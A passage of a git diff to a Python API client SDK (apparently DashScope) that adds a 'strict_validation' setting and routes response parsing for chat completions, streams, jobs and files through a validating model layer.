strict_validation(self) -> bool: + # ``is None``, not truthiness: an explicit ``False`` must win over + # the environment instead of falling through to it. + value = self._explicit.get("strict_validation") + if value is None: + value = _env_bool(_STRICT_VALIDATION_ENV) + if value is None: + return DEFAULT_STRICT_VALIDATION + return value + + @strict_validation.setter + def strict_validation(self, value: Union[bool, int, str]) -> None: + coerced = _coerce_bool("strict_validation", value) + with self._lock: + self._explicit["strict_validation"] = coerced + @property def log_level(self) -> Optional[str]: return self._explicit.get("log_level") or os.environ.get(_LOG_ENV) @@ -607,6 +667,7 @@ def resolve_config( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, config_path: Union[str, Path, None] = None, ) -> Config: path = ( @@ -702,6 +763,19 @@ def resolve_config( f"got {resolved_http_keepalive_expiry}", ) + # _coerce_bool rather than bool(): a config.toml written as + # strict_validation = "false" would otherwise read as True. + resolved_strict_validation = _coerce_bool( + "strict_validation", + _pick( + strict_validation, + settings.get_explicit("strict_validation"), + _env_bool(_STRICT_VALIDATION_ENV), + file_cfg.get("strict_validation"), + DEFAULT_STRICT_VALIDATION, + ), + ) + resolved_workspace = _pick( workspace, settings.get_explicit("workspace"), @@ -770,4 +844,5 @@ def resolve_config( http_max_connections=resolved_http_max_connections, http_max_keepalive_connections=resolved_http_max_keepalive, http_keepalive_expiry=resolved_http_keepalive_expiry, + strict_validation=resolved_strict_validation, ) diff --git a/dashscope/client.py b/dashscope/client.py index d000f3f9..c31e9b73 100644 --- a/dashscope/client.py +++ b/dashscope/client.py @@ -91,6 +91,7 @@ def __init__( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, config_path: Union[str, Path, None] = None, http_client: Optional[httpx.Client] = None, raise_on_error: bool = True, @@ -104,6 +105,7 @@ def __init__( protocol=protocol, timeout=timeout, max_retries=max_retries, + strict_validation=strict_validation, config_path=config_path, ) self._raise_on_error = raise_on_error @@ -212,6 +214,7 @@ def with_options( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, raise_on_error: Optional[bool] = None, ) -> "Client": """Derive a client with the given options overridden. @@ -242,6 +245,11 @@ def with_options( max_retries=( config.max_retries if max_retries is None else max_retries ), + strict_validation=( + config.strict_validation + if strict_validation is None + else strict_validation + ), http_client=(self._transport.http_client if share_pool else None), raise_on_error=( self._raise_on_error @@ -324,6 +332,7 @@ def __init__( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, config_path: Union[str, Path, None] = None, http_client: Optional[httpx.AsyncClient] = None, raise_on_error: bool = True, @@ -337,6 +346,7 @@ def __init__( protocol=protocol, timeout=timeout, max_retries=max_retries, + strict_validation=strict_validation, config_path=config_path, ) self._raise_on_error = raise_on_error @@ -441,6 +451,7 @@ def with_options( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, raise_on_error: Optional[bool] = None, ) -> "AsyncClient": """Derive a client with the given options overridden. @@ -471,6 +482,11 @@ def with_options( max_retries=( config.max_retries if max_retries is None else max_retries ), + strict_validation=( + config.strict_validation + if strict_validation is None + else strict_validation + ), http_client=(self._transport.http_client if share_pool else None), raise_on_error=( self._raise_on_error diff --git a/dashscope/protocols/anthropic.py b/dashscope/protocols/anthropic.py index a9947dea..ae92c5a0 100644 --- a/dashscope/protocols/anthropic.py +++ b/dashscope/protocols/anthropic.py @@ -29,15 +29,28 @@ from __future__ import annotations import json -from typing import Any, Callable, Dict, List, Optional, Tuple, Union +from typing import ( + TYPE_CHECKING, + Any, + Callable, + Dict, + List, + Optional, + Tuple, + Union, +) from dashscope.errors import BadRequestError, DashScopeError, ErrorCode from dashscope.protocols.base import ChatProtocol, ChatRequest +from dashscope.types._parse import parse_model from dashscope.types.completions import ( ChatCompletion, ChatCompletionChunk, ) +if TYPE_CHECKING: + import httpx + __all__ = [ "AnthropicProtocol", ] @@ -361,7 +374,7 @@ def _apply_extra_parameters( body.update(extra_parameters) -def _canonical_usage(usage: Dict[str, Any]) -> Dict[str, Any]: +def _canonical_usage(usage: Any) -> Any: """Usage bag with the derived ``total_tokens`` filled in. Anthropic already spells the canonical counters ``input_tokens`` / @@ -371,15 +384,40 @@ def _canonical_usage(usage: Dict[str, Any]) -> Dict[str, Any]: streaming parser, which accumulates the whole bag across events — reducing it to three numbers would silently drop billing detail the caller cannot recover. + + A bag that is not a mapping is passed through untouched so + ``parse_model`` can degrade the field; ``dict()`` on it here would + raise before the model layer ever saw the drift. """ + if not isinstance(usage, dict): + return usage canonical = dict(usage) - canonical["total_tokens"] = usage.get("input_tokens", 0) + usage.get( - "output_tokens", - 0, - ) + counted = (usage.get("input_tokens", 0), usage.get("output_tokens", 0)) + # Summing a drifted counter (``"input_tokens": "many"``) would raise + # TypeError here, ahead of the model layer that repairs it; leave the + # total absent so ``Usage`` falls back to its own default. + if all(isinstance(value, int) for value in counted): + canonical["total_tokens"] = sum(counted) return canonical +def _merge_usage(accumulated: Dict[str, Any], incoming: Any) -> Any: + """Fold one event's usage bag into the running total. + + A bag that is not a mapping cannot be accumulated, and + ``dict.update()`` on it would raise ``ValueError``/``TypeError`` + mid-stream -- outside any ``except DashScopeError`` the caller has. + It is passed through untouched, the same way ``_canonical_usage`` + does, so ``parse_model`` gets to degrade the field. + """ + if not isinstance(incoming, dict): + return incoming + if not incoming: + return None + accumulated.update(incoming) + return dict(accumulated) + + class _StreamParser: """Per-stream parsing state for Anthropic SSE events. @@ -388,12 +426,33 @@ class _StreamParser: parser instance; sharing one would mix chunks across streams. """ - def __init__(self) -> None: + def __init__( + self, + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, + ) -> None: self._tools: Dict[int, Dict[str, Any]] = {} self._thinking: Dict[int, Dict[str, Any]] = {} self._usage: Dict[str, int] = {} + self._strict_validation = strict_validation + self._response = response - def parse(self, payload: Dict[str, Any]) -> Optional[ChatCompletionChunk]: + def parse( + self, + payload: Dict[str, Any], + *, + strict_validation: Optional[bool] = None, + response: Optional[httpx.Response] = None, + ) -> Optional[ChatCompletionChunk]: + """Translate one SSE event. + + ``strict_validation=None`` keeps the mode this parser was built + with: it holds per-stream accumulation state, so a sequential + caller that wants a different mode for one event overrides it + here instead of forcing a fresh (stateless) parser. ``response`` + overrides the same way, and only feeds a strict-mode failure. + """ handlers = { "message_start": self._message_start, "content_block_start": self._block_start, @@ -414,15 +473,22 @@ def parse(self, payload: Dict[str, Any]) -> Optional[ChatCompletionChunk]: return None request_id, model, choices, usage = parsed if usage is not None: - usage["total_tokens"] = usage.get( - "input_tokens", - 0, - ) + usage.get("output_tokens", 0) - return ChatCompletionChunk( - request_id=request_id, - model=model, - choices=choices, - usage=usage, + usage = _canonical_usage(usage) + strict = ( + self._strict_validation + if strict_validation is None + else strict_validation + ) + return parse_model( + ChatCompletionChunk, + { + "request_id": request_id, + "model": model, + "choices": choices, + "usage": usage, + }, + strict=strict, + response=response if response is not None else self._response, ) def _message_start(self, payload: Dict[str, Any]): @@ -430,11 +496,7 @@ def _message_start(self, payload: Dict[str, Any]): self._tools = {} self._thinking = {} self._usage = {} - usage: Optional[Dict[str, Any]] = None - start_usage = message.get("usage") or {} - if start_usage: - self._usage.update(start_usage) - usage = dict(self._usage) + usage = _merge_usage(self._usage, message.get("usage")) return ( message.get("id") or payload.get("id"), message.get("model") or payload.get("model"), @@ -544,12 +606,8 @@ def _cumulative_thinking_blocks(self) -> List[Dict[str, Any]]: def _message_delta(self, payload: Dict[str, Any]): choices: List[Dict[str, Any]] = [] - usage: Optional[Dict[str, Any]] = None stop_reason = (payload.get("delta") or {}).get("stop_reason") - end_usage = payload.get("usage") or {} - if end_usage: - self._usage.update(end_usage) - usage = dict(self._usage) + usage = _merge_usage(self._usage, payload.get("usage")) if stop_reason is not None: choices.append( { @@ -592,9 +650,15 @@ def __init__(self, *, strict: bool = False) -> None: def make_chunk_parser( self, + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> Callable[[Dict[str, Any]], Optional[ChatCompletionChunk]]: """Return a fresh parser so concurrent streams stay isolated.""" - return _StreamParser().parse + return _StreamParser( + strict_validation=strict_validation, + response=response, + ).parse def build_chat_request( self, @@ -703,12 +767,23 @@ def build_chat_request( headers={"anthropic-version": self.API_VERSION}, ) - def parse_completion(self, payload: Dict[str, Any]) -> ChatCompletion: + def parse_completion( + self, + payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, + ) -> ChatCompletion: text_parts: List[str] = [] thinking_parts: List[str] = [] thinking_blocks: List[Dict[str, Any]] = [] tool_calls: List[Dict[str, Any]] = [] for block in payload.get("content") or []: + if not isinstance(block, dict): + # ``block.get`` on a drifted element (a bare string) + # would escape as an AttributeError before parse_model + # ever saw the body; there is nothing to translate. + continue if block.get("type") == "text": text_parts.append(block.get("text", "")) elif block.get("type") == "thinking": @@ -755,26 +830,38 @@ def parse_completion(self, payload: Dict[str, Any]) -> ChatCompletion: message["tool_calls"] = tool_calls stop_reason = payload.get("stop_reason") usage = payload.get("usage") or {} - return ChatCompletion( - request_id=payload.get("id"), - model=payload.get("model"), - choices=[ - { - "index": 0, - "finish_reason": _STOP_REASON_MAP.get( - stop_reason, - stop_reason, - ), - "message": message, - }, - ], - usage=_canonical_usage(usage) if usage else None, + return parse_model( + ChatCompletion, + { + "request_id": payload.get("id"), + "model": payload.get("model"), + "choices": [ + { + "index": 0, + "finish_reason": _STOP_REASON_MAP.get( + stop_reason, + stop_reason, + ), + "message": message, + }, + ], + "usage": _canonical_usage(usage) if usage else None, + }, + strict=strict_validation, + response=response, ) def parse_chunk( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> Optional[ChatCompletionChunk]: # Sequential convenience path for direct calls; resources take # a per-stream parser from make_chunk_parser() instead. - return self._default_parser.parse(payload) + return self._default_parser.parse( + payload, + strict_validation=strict_validation, + response=response, + ) diff --git a/dashscope/protocols/base.py b/dashscope/protocols/base.py index 05ebdd85..b9496d72 100644 --- a/dashscope/protocols/base.py +++ b/dashscope/protocols/base.py @@ -8,6 +8,7 @@ from __future__ import annotations +import functools from abc import ABC, abstractmethod from dataclasses import dataclass, field from typing import ( @@ -24,6 +25,8 @@ if TYPE_CHECKING: # Annotation-only: avoid importing resources at runtime, which would # cycle back through completions.py into this partially-loaded module. + import httpx + from dashscope.types.completions import ( ChatCompletion, ChatCompletionChunk, @@ -104,24 +107,51 @@ def build_chat_request( def parse_completion( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> ChatCompletion: - """Translate a non-streaming response body.""" + """Translate a non-streaming response body. + + ``strict_validation`` raises on a body that does not fit the + typed model instead of degrading it; it is unrelated to + :attr:`strict`, which governs *request* construction. + ``response`` is only carried onto that raised error, so the + caller can inspect the status and headers of the body that + failed; websocket payloads have none and leave it ``None``. + """ @abstractmethod def parse_chunk( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> Optional[ChatCompletionChunk]: """Translate one streaming event body; ``None`` skips the event (keepalives and control frames carry no user-facing content).""" def make_chunk_parser( self, + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> Callable[[Dict[str, Any]], Optional[ChatCompletionChunk]]: """Return the chunk parser for one new stream. Stateless adapters reuse ``parse_chunk``; stateful adapters (e.g. anthropic tool-use accumulation) return a fresh parser per stream so concurrent streams never share state. + + The returned callable takes only the payload, so the validation + mode and the response a strict failure should carry are bound + here rather than passed per event. """ - return self.parse_chunk + if not strict_validation and response is None: + return self.parse_chunk + return functools.partial( + self.parse_chunk, + strict_validation=strict_validation, + response=response, + ) diff --git a/dashscope/protocols/native.py b/dashscope/protocols/native.py index f3135316..1da12d42 100644 --- a/dashscope/protocols/native.py +++ b/dashscope/protocols/native.py @@ -4,7 +4,7 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union +from typing import TYPE_CHECKING, Any, Dict, List, Optional, Union from dashscope.protocols.base import ChatProtocol, ChatRequest from dashscope.types.completions import ( @@ -14,6 +14,9 @@ parse_completion, ) +if TYPE_CHECKING: + import httpx + __all__ = [ "NativeProtocol", ] @@ -166,11 +169,25 @@ def build_chat_request( def parse_completion( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> ChatCompletion: - return parse_completion(payload) + return parse_completion( + payload, + strict_validation=strict_validation, + response=response, + ) def parse_chunk( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> ChatCompletionChunk: - return parse_chunk(payload) + return parse_chunk( + payload, + strict_validation=strict_validation, + response=response, + ) diff --git a/dashscope/protocols/openai.py b/dashscope/protocols/openai.py index 049ad6a9..12a55b41 100644 --- a/dashscope/protocols/openai.py +++ b/dashscope/protocols/openai.py @@ -11,15 +11,19 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union +from typing import TYPE_CHECKING, Any, Dict, List, Optional, Union from dashscope.errors import DashScopeError from dashscope.protocols.base import ChatProtocol, ChatRequest +from dashscope.types._parse import parse_model from dashscope.types.completions import ( ChatCompletion, ChatCompletionChunk, ) +if TYPE_CHECKING: + import httpx + __all__ = [ "OpenAIProtocol", ] @@ -143,13 +147,31 @@ def _translate_usage(usage: Optional[Dict[str, Any]]) -> Dict[str, Any]: } translated["input_tokens"] = usage.get("prompt_tokens", 0) translated["output_tokens"] = usage.get("completion_tokens", 0) - translated.setdefault( - "total_tokens", - translated["input_tokens"] + translated["output_tokens"], - ) + if "total_tokens" not in translated: + counted = (translated["input_tokens"], translated["output_tokens"]) + # Summing a drifted counter (``"prompt_tokens": "many"``) would + # raise TypeError here, ahead of the model layer that repairs it; + # leave the field absent and let Usage fall back to its default. + if all(isinstance(value, int) for value in counted): + translated["total_tokens"] = sum(counted) return translated +def _canonical_usage(raw: Any) -> Any: + """Translate a usage bag, or pass a drifted one through untouched. + + ``_translate_usage`` indexes into a mapping; a gateway that retyped + the bag would raise ``AttributeError`` here, before ``parse_model`` + got the chance to degrade the field to ``None``. Handing the raw + value on keeps the repair in the model layer, where it is logged. + """ + if not raw: + return None + if isinstance(raw, dict): + return _translate_usage(raw) + return raw + + class OpenAIProtocol(ChatProtocol): """Adapter for ``POST /chat/completions`` (OpenAI-compatible).""" @@ -235,31 +257,50 @@ def build_chat_request( body.update(unknown) return ChatRequest(path=path or self.PATH, body=body) - def parse_completion(self, payload: Dict[str, Any]) -> ChatCompletion: - return ChatCompletion( - request_id=payload.get("request_id") or payload.get("id"), - model=payload.get("model"), - choices=payload.get("choices") or [], - usage=( - _translate_usage(payload["usage"]) - if payload.get("usage") - else None - ), + def parse_completion( + self, + payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, + ) -> ChatCompletion: + return parse_model( + ChatCompletion, + { + "request_id": payload.get("request_id") or payload.get("id"), + "model": payload.get("model"), + "choices": payload.get("choices") or [], + "usage": _canonical_usage(payload.get("usage")), + }, + strict=strict_validation, + response=response, ) - def parse_chunk(self, payload: Dict[str, Any]) -> ChatCompletionChunk: + def parse_chunk( + self, + payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, + ) -> ChatCompletionChunk: choices = [] for raw in payload.get("choices") or []: - raw = dict(raw) - raw.setdefault("delta", {}) + # A non-mapping element has no ``delta`` to default, and + # ``dict()`` on it would escape as a bare ValueError. + # Keeping the slot preserves positional alignment for + # parse_model to repair in place. + if isinstance(raw, dict): + raw = dict(raw) + raw.setdefault("delta", {}) choices.append(raw) - return ChatCompletionChunk( - request_id=payload.get("request_id") or payload.get("id"), - model=payload.get("model"), - choices=choices, - usage=( - _translate_usage(payload["usage"]) - if payload.get("usage") - else None - ), + return parse_model( + ChatCompletionChunk, + { + "request_id": payload.get("request_id") or payload.get("id"), + "model": payload.get("model"), + "choices": choices, + "usage": _canonical_usage(payload.get("usage")), + }, + strict=strict_validation, + response=response, ) diff --git a/dashscope/resources/_jobs.py b/dashscope/resources/_jobs.py index 8a01d4c7..675a403d 100644 --- a/dashscope/resources/_jobs.py +++ b/dashscope/resources/_jobs.py @@ -14,6 +14,7 @@ import asyncio import time from typing import ( + TYPE_CHECKING, Any, Awaitable, Callable, @@ -33,6 +34,7 @@ response_json, ) from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -41,6 +43,9 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + __all__ = [ "AsyncJobs", "CANCELED", @@ -158,10 +163,20 @@ def finished(self) -> bool: @property def results(self) -> List[JobResult]: + """Artifacts the task produced. + + Always degrades rather than raising: a property has no client to + read ``strict_validation`` from and no response to attach, so the + strict check belongs to the parse boundary that built this Job. + """ items = (self.output or {}).get("results") or [] if not items: items = _image_choices(self.output or {}) - return [JobResult(**item) for item in items if isinstance(item, dict)] + return [ + parse_model(JobResult, item) + for item in items + if isinstance(item, dict) + ] @property def image_urls(self) -> List[str]: @@ -181,13 +196,24 @@ def result_url(self) -> Optional[str]: return output.get("url") or self.video_url @classmethod - def from_payload(cls, body: Dict[str, Any]) -> "Job": + def from_payload( + cls, + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, + ) -> "Job": output = body.get("output") payload = flatten_envelope(body) payload["output"] = output if isinstance(output, dict) else None if not isinstance(payload.get("usage"), dict): payload.pop("usage", None) - return cls(**payload) + return parse_model( + cls, + payload, + strict=strict, + response=response, + ) class JobList(ResponseBase): @@ -203,18 +229,33 @@ class JobList(ResponseBase): tasks: List[Job] = [] @classmethod - def from_payload(cls, body: Dict[str, Any]) -> "JobList": + def from_payload( + cls, + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, + ) -> "JobList": # The list endpoint answers flat (no ``output`` wrapper), but # flatten_envelope also accepts an output-wrapped variant. data = flatten_envelope(body) - tasks = data.pop("tasks", None) or [] + tasks = data.pop("tasks", None) + # A retyped ``tasks`` would blow up in the comprehension below, + # ahead of the model layer that repairs the field. + if not isinstance(tasks, list): + tasks = [] items = [task for task in tasks if isinstance(task, dict)] - return cls( - page_no=data.get("page_no", 1), - page_size=data.get("page_size", 10), - total=data.get("total", len(items)), - tasks=items, - **response_envelope(data), + return parse_model( + cls, + { + "page_no": data.get("page_no", 1), + "page_size": data.get("page_size", 10), + "total": data.get("total", len(items)), + "tasks": items, + **response_envelope(data), + }, + strict=strict, + response=response, ) @@ -404,7 +445,11 @@ def list( # pylint: disable=redefined-builtin ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - JobList.from_payload(response_json(response)), + JobList.from_payload( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) @@ -477,7 +522,14 @@ def wait( def _parse(self, response: Any) -> Job: payload = response_json(response) - job = with_headers(Job.from_payload(payload), response) + job = with_headers( + Job.from_payload( + payload, + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) if job.status == FAILED and self._client.raise_on_error: raise error_from_business_code( message=job.message or f"task {job.task_id} failed", @@ -653,7 +705,11 @@ async def list( # pylint: disable=redefined-builtin ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - JobList.from_payload(response_json(response)), + JobList.from_payload( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) @@ -713,7 +769,14 @@ async def wait( def _parse(self, response: Any) -> Job: payload = response_json(response) - job = with_headers(Job.from_payload(payload), response) + job = with_headers( + Job.from_payload( + payload, + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) if job.status == FAILED and self._client.raise_on_error: raise error_from_business_code( message=job.message or f"task {job.task_id} failed", diff --git a/dashscope/resources/chat/completions.py b/dashscope/resources/chat/completions.py index e93c6777..255e27b5 100644 --- a/dashscope/resources/chat/completions.py +++ b/dashscope/resources/chat/completions.py @@ -10,6 +10,7 @@ from dataclasses import replace from typing import ( + TYPE_CHECKING, Any, Dict, Iterator, @@ -33,6 +34,7 @@ from dashscope.resources.chat._params import ( should_modify_incremental_output, ) +from dashscope.types._parse import parse_model from dashscope.types.common import Usage, with_headers from dashscope.types.completions import ( ChatCompletion, @@ -53,6 +55,9 @@ normalize_messages, ) +if TYPE_CHECKING: + import httpx + __all__ = [ "AsyncChatStream", "AsyncCompletions", @@ -225,10 +230,14 @@ def __init__( *, merge_incremental: bool = False, server_cumulative: bool = False, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> None: self._inner = inner self._merge = merge_incremental self._server_cumulative = server_cumulative + self._strict_validation = strict_validation + self._response = response def __iter__(self) -> Iterator[ChatCompletionChunk]: if self._merge: @@ -258,7 +267,11 @@ def tool_call_stream(self) -> Iterator[List[ToolCall]]: def get_final_message(self) -> ChatCompletion: if self._merge or self._server_cumulative: - final = _final_from_cumulative(list(self)) + final = _final_from_cumulative( + list(self), + strict_validation=self._strict_validation, + response=self._response, + ) else: final = _aggregate(self) final.headers = self.headers @@ -280,10 +293,14 @@ def __init__( *, merge_incremental: bool = False, server_cumulative: bool = False, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> None: self._inner = inner self._merge = merge_incremental self._server_cumulative = server_cumulative + self._strict_validation = strict_validation + self._response = response def __aiter__(self): if self._merge: @@ -328,7 +345,11 @@ async def _tool_call_stream(self): async def get_final_message(self) -> ChatCompletion: chunks = [chunk async for chunk in self] if self._merge or self._server_cumulative: - final = _final_from_cumulative(chunks) + final = _final_from_cumulative( + chunks, + strict_validation=self._strict_validation, + response=self._response, + ) else: final = _aggregate(chunks) final.headers = self.headers @@ -468,7 +489,10 @@ def _cumulative_chunk( signature = _signature_from_blocks(slot["reasoning_blocks"]) # model_copy keeps provider extras the rebuild would otherwise # drop (delta-level omni audio); accumulated logprobs override - # the current frame's fragment. + # the current frame's fragment. It bypasses validation on + # purpose: every value here was accumulated from chunks that + # already went through parse_model, so there is nothing left to + # repair and strict mode has already had its say per event. new_delta = choice.delta.model_copy( update={ "role": slot["role"], @@ -497,6 +521,9 @@ def _accumulate_chunks( def _final_from_cumulative( chunks: List[ChatCompletionChunk], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> ChatCompletion: """Final message for a cumulative stream: per choice, its last snapshot. @@ -531,12 +558,22 @@ def _final_from_cumulative( tool_calls=choice.delta.tool_calls, **(choice.delta.model_extra or {}), ) + # Extras first, so a wire field that collides with a computed one + # (a chunk carrying both ``delta`` and ``message`` puts the latter + # in ``model_extra``) is overridden instead of raising a + # duplicate-keyword TypeError -- and so a drifted extra is + # repaired rather than escaping as a bare ValidationError. choices.append( - Choice( - index=index, - finish_reason=choice.finish_reason, - message=message, - **(choice.model_extra or {}), + parse_model( + Choice, + { + **(choice.model_extra or {}), + "index": index, + "finish_reason": choice.finish_reason, + "message": message, + }, + strict=strict_validation, + response=response, ), ) return ChatCompletion( @@ -646,13 +683,21 @@ def _checked_completion( return None if client.raise_on_error: raise error - return ChatCompletion( - request_id=error.request_id, - status_code=error.status_code, - code=error.code, - message=error.message, - is_error=True, - headers=dict(response.headers), + # The envelope fields are lifted straight off the body, so a gateway + # that types ``code`` as a number would otherwise escape as a bare + # ValidationError on the very path meant to avoid raising. + return parse_model( + ChatCompletion, + { + "request_id": error.request_id, + "status_code": error.status_code, + "code": error.code, + "message": error.message, + "is_error": True, + "headers": dict(response.headers), + }, + strict=client.config.strict_validation, + response=response, ) @@ -685,9 +730,17 @@ def _send( options=options, ) return ChatStream( - Stream(response, client.protocol.make_chunk_parser()), + Stream( + response, + client.protocol.make_chunk_parser( + strict_validation=client.config.strict_validation, + response=response, + ), + ), merge_incremental=merge_incremental, server_cumulative=server_cumulative, + strict_validation=client.config.strict_validation, + response=response, ) response = transport.request( "POST", @@ -705,7 +758,11 @@ def _send( if error_result is not None: return error_result return with_headers( - client.protocol.parse_completion(response_json(response)), + client.protocol.parse_completion( + response_json(response), + strict_validation=client.config.strict_validation, + response=response, + ), response, ) @@ -739,9 +796,17 @@ async def _asend( options=options, ) return AsyncChatStream( - AsyncStream(response, client.protocol.make_chunk_parser()), + AsyncStream( + response, + client.protocol.make_chunk_parser( + strict_validation=client.config.strict_validation, + response=response, + ), + ), merge_incremental=merge_incremental, server_cumulative=server_cumulative, + strict_validation=client.config.strict_validation, + response=response, ) response = await transport.request( "POST", @@ -759,7 +824,11 @@ async def _asend( if error_result is not None: return error_result return with_headers( - client.protocol.parse_completion(response_json(response)), + client.protocol.parse_completion( + response_json(response), + strict_validation=client.config.strict_validation, + response=response, + ), response, ) diff --git a/dashscope/resources/files.py b/dashscope/resources/files.py index f3ab4f42..0ebc8768 100644 --- a/dashscope/resources/files.py +++ b/dashscope/resources/files.py @@ -7,7 +7,7 @@ import json import os import re -from typing import Any, Dict, List, Mapping, Optional +from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Optional from pydantic import AliasChoices, Field @@ -20,12 +20,16 @@ response_json, ) from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, response_envelope, with_headers, ) +if TYPE_CHECKING: + import httpx + _BASE_PATH = "/files" MODULE = "files" @@ -81,18 +85,40 @@ class DeletionStatus(ResponseBase): deleted: bool = False -def _parse_upload(body: Dict[str, Any]) -> File: +def _parse_upload( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> File: data = body.get("data") or {} if not isinstance(data, dict): - return File(**response_envelope(body)) + return parse_model( + File, + response_envelope(body), + strict=strict, + response=response, + ) if "uploaded_files" in data: # The endpoint always answers with a list even though one file went up. uploaded = data["uploaded_files"] or [] data = uploaded[0] if uploaded else {} - return File(**data, **response_envelope(body)) + # Dict merge, not ``**`` twice: a record carrying an envelope key of + # its own would otherwise raise a duplicate-keyword TypeError. + return parse_model( + File, + {**data, **response_envelope(body)}, + strict=strict, + response=response, + ) -def _parse_list(body: Dict[str, Any]) -> FileList: +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> FileList: data = body.get("data") or {} if isinstance(data, dict): files = data.get("files") or [] @@ -101,28 +127,58 @@ def _parse_list(body: Dict[str, Any]) -> FileList: total = data.get("total", len(files)) else: files, page_no, page_size, total = data, 1, 10, len(data) - return FileList( - page_no=page_no, - page_size=page_size, - total_count=total, - files=files, - **response_envelope(body), + return parse_model( + FileList, + { + "page_no": page_no, + "page_size": page_size, + "total_count": total, + "files": files, + **response_envelope(body), + }, + strict=strict, + response=response, ) -def _parse_file(body: Dict[str, Any]) -> File: +def _parse_file( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> File: data = body.get("data") or {} if not isinstance(data, dict): - return File(**response_envelope(body)) - return File(**data, **response_envelope(body)) + return parse_model( + File, + response_envelope(body), + strict=strict, + response=response, + ) + return parse_model( + File, + {**data, **response_envelope(body)}, + strict=strict, + response=response, + ) -def _parse_delete(body: Dict[str, Any]) -> DeletionStatus: +def _parse_delete( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> DeletionStatus: data = body.get("data") or {} deleted = True if isinstance(data, dict) and "deleted" in data: deleted = bool(data["deleted"]) - return DeletionStatus(deleted=deleted, **response_envelope(body)) + return parse_model( + DeletionStatus, + {"deleted": deleted, **response_envelope(body)}, + strict=strict, + response=response, + ) def _is_valid_jsonl(file_path: str) -> bool: @@ -242,7 +298,14 @@ def upload( ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_upload(response_json(response)), response) + return with_headers( + _parse_upload( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def list( self, @@ -271,7 +334,14 @@ def list( ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + return with_headers( + _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def get( self, @@ -302,7 +372,14 @@ def get( response, raise_on_error=self._client.raise_on_error, ) - return with_headers(_parse_file(response_json(response)), response) + return with_headers( + _parse_file( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def delete( self, @@ -333,7 +410,14 @@ def delete( response, raise_on_error=self._client.raise_on_error, ) - return with_headers(_parse_delete(response_json(response)), response) + return with_headers( + _parse_delete( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) class AsyncFiles: @@ -371,7 +455,14 @@ async def upload( ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_upload(response_json(response)), response) + return with_headers( + _parse_upload( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def list( self, @@ -400,7 +491,14 @@ async def list( ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + return with_headers( + _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def get( self, @@ -431,7 +529,14 @@ async def get( response, raise_on_error=self._client.raise_on_error, ) - return with_headers(_parse_file(response_json(response)), response) + return with_headers( + _parse_file( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def delete( self, @@ -462,4 +567,11 @@ async def delete( response, raise_on_error=self._client.raise_on_error, ) - return with_headers(_parse_delete(response_json(response)), response) + return with_headers( + _parse_delete( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) diff --git a/dashscope/resources/images.py b/dashscope/resources/images.py index 926cc0a9..8aefac0e 100644 --- a/dashscope/resources/images.py +++ b/dashscope/resources/images.py @@ -22,7 +22,17 @@ from __future__ import annotations -from 